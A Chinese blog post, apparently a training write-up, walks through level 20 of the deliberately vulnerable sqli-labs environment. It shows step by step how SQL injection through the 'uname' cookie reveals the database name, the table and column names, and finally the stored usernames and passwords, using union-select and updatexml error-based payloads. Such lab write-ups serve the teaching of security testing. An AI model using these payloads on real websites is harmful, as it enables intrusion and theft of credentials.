(手工)【sqli-labs20】cookie注入:原理、利用过程

目录

推荐:

一、(手工)SQL注入基本步骤:

二、Less20(POST-Cookie injections -Uagent field -Error based)

2.1、简介:(Cookie注入)

2.2、第一步:注入点测试

 2.3、第二步:分析过滤

2.4、第三步:暴库

2.5、第四步:爆表名

2.6、第五步:爆字段

2.7、第六步:爆数据


推荐:

【SQL注入】cookie注入:原理、步骤、示例icon-default.png?t=M666https://blog.csdn.net/qq_53079406/article/details/125685994?spm=1001.2014.3001.5501



一、(手工)SQL注入基本步骤:

第一步:注入点测试

第二步:分析权限、过滤

第三步:爆数据库名

第四步:爆表名

第五步:爆字段名

第六步:爆数据



二、Less20(POST-Cookie injections -Uagent field -Error based)

2.1、简介:(Cookie注入)

请求方法:POST

方法:Cookie注入报错回显

2.2、第一步:注入点测试

输入框测试都不存在注入点

 登录进去以后

回显有User-Agent、IP、Cookie、id、username、password

Cookie特征可以看出: 

登陆后将uname写入了Cookie中

每次请求时,判断Cookie是否存在,若存在则读取Cookie中字段uname;不存在则为登录界面

用户存在则将查询到用户id、username、password回显

 2.3、第二步:分析过滤

在输入框中尝试都未报错

对输入框都进行了过滤

接下来:

方法一:获得源码,寻找过滤不严谨的地方

方法二:寻找其他注入点(Header)


尝试对cookie进行注入

uname=admin' order by 3#

(或者uname=1' union select 1,2,3#)

正常回显

 uname=admin' order by 4#

存在回显报错

说明存在注入点(单引号闭合)

且字段数为3

2.4、第三步:暴库

uname=' union select 1,2,(updatexml(1,concat(0x7e, database(),0x7e),1))#

或者

uname=1' union select 1,2,database()#

 

2.5、第四步:爆表名

uname=' union select 1,2,(updatexml(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#

或者

uname=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

 

2.6、第五步:爆字段

uname=' union select 1,2,(updatexml(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#

或者

uname=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

 

2.7、第六步:爆数据

uname=' union select 1,2,(updatexml(1,concat(0x7e, (select group_concat(username,'-',password) from security.users),0x7e),1))#

或者 

uname=1' union select 1,2,group_concat(concat('-',id,username,password)) from users#

 

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值